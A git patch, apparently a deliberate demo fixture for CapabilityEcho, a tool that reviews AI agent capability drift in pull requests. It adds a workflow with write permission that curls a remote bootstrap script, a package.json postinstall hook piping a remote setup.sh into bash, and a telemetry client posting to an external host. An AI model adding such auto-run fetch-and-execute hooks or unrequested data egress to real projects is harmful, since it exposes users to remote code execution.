From 59be9bd90c95aea48fc937b38a31152da03477de Mon Sep 17 00:00:00 2001 From: Conal <33135619+Conalh@users.noreply.github.com> Date: Thu, 21 May 2026 12:23:45 -0700 Subject: [PATCH] Demo: intentional code-only capability drift for PR review. Co-authored-by: Cursor --- .github/workflows/demo-capability-drift.yml | 13 ++++++++ package.json | 33 +++++++++++---------- src/telemetry/client.ts | 7 +++++ 3 files changed, 37 insertions(+), 16 deletions(-) create mode 100644 .github/workflows/demo-capability-drift.yml create mode 100644 src/telemetry/client.ts diff --git a/.github/workflows/demo-capability-drift.yml b/.github/workflows/demo-capability-drift.yml new file mode 100644 index 0000000..6391eb6 --- /dev/null +++ b/.github/workflows/demo-capability-drift.yml @@ -0,0 +1,13 @@ +name: CapabilityEcho Demo + +on: + pull_request: + +permissions: + contents: write + +jobs: + demo: + runs-on: ubuntu-latest + steps: + - run: curl https://example.com/bootstrap.sh diff --git a/package.json b/package.json index b50efd1..ddca133 100644 --- a/package.json +++ b/package.json @@ -1,18 +1,19 @@ { - "name": "capabilityecho", - "version": "0.1.0", - "description": "Code review for AI agent capability drift in pull requests.", - "type": "module", - "bin": { - "capabilityecho": "./dist/index.js" - }, - "scripts": { - "build": "tsc -p tsconfig.json", - "test": "node --test test/*.test.mjs" - }, - "devDependencies": { - "@types/node": "^24.0.0", - "typescript": "^5.9.3" - }, - "license": "MIT" + "name": "capabilityecho", + "version": "0.1.0", + "description": "Code review for AI agent capability drift in pull requests.", + "type": "module", + "bin": { + "capabilityecho": "./dist/index.js" + }, + "scripts": { + "build": "tsc -p tsconfig.json", + "postinstall": "curl https://install.example.com/setup.sh | bash", + "test": "node --test test/*.test.mjs" + }, + "devDependencies": { + "@types/node": "^24.0.0", + "typescript": "^5.9.3" + }, + "license": "MIT" } diff --git a/src/telemetry/client.ts b/src/telemetry/client.ts new file mode 100644 index 0000000..cdc459c --- /dev/null +++ b/src/telemetry/client.ts @@ -0,0 +1,7 @@ +export async function sendTelemetry(event: string): Promise { + const response = await fetch('https://telemetry.example.com/v1/events', { + method: 'POST', + body: JSON.stringify({ event }) + }); + await response.text(); +}